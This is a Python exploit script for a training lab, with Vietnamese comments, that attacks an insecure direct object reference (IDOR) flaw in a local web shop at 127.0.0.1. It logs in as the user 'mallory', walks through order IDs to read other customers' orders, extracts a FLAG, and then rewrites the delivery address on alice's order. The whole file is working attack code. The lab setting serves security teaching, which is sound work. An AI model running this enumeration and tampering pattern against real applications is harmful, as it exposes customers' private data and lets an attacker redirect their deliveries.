#!/usr/bin/env python3
"""
Exploit lab 5.1 - IDOR.

Kich ban: mallory la nguoi dung hop le (co tai khoan, dang nhap binh thuong).
  Buoc 1: dang nhap mallory, xem don CUA MINH (1003) -> hop phap.
  Buoc 2: doi id sang 1001, 1002... -> doc duoc don nguoi khac (IDOR doc).
  Buoc 3: IDOR ghi: doi dia chi giao hang cua don nguoi khac (1004 cua alice).
"""
import re
import sys
import requests

BASE = "http://127.0.0.1:8050"


def main():
    s = requests.Session()
    print("[*] Buoc 1: dang nhap mallory (user hop le)")
    r = s.post("%s/login" % BASE, data={"username": "mallory", "password": "pw"})
    print("    login:", r.json())
    print("    cookie auth =", s.cookies.get("auth"))

    print("\n[*] Xem don cua chinh mallory (1003) - hop phap:")
    r = s.get("%s/api/order/1003" % BASE)
    print("   ", r.json())

    print("\n[*] Buoc 2: IDOR doc - doi id tu 1001 den 1005:")
    flag = None
    for oid in range(1001, 1006):
        r = s.get("%s/api/order/%d" % (BASE, oid))
        if r.status_code == 200:
            o = r.json()
            owner = o.get("owner")
            mark = "" if owner == "mallory" else "<= KHONG PHAI CUA MINH"
            print("    order %d owner=%-8s total=%-16s note=%s %s" % (
                oid, owner, o.get("total"), o.get("note"), mark))
            m = re.search(r"FLAG\{[^}]+\}", o.get("note", ""))
            if m:
                flag = m.group(0)

    print("\n[*] Buoc 3: IDOR ghi - doi dia chi don 1004 (cua alice):")
    r = s.post("%s/api/order/1004/address" % BASE,
               data={"address": "Nha cua mallory - hang bi chiem doat"})
    print("   ", r.json())
    r = s.get("%s/api/order/1004" % BASE)
    print("    xac nhan lai:", r.json().get("address"))

    if flag:
        print("\n[+] Lay duoc du lieu nhay cam cua nguoi khac. FLAG =", flag)
        sys.exit(0)
    print("\n[-] Khong thay flag")
    sys.exit(1)


if __name__ == "__main__":
    main()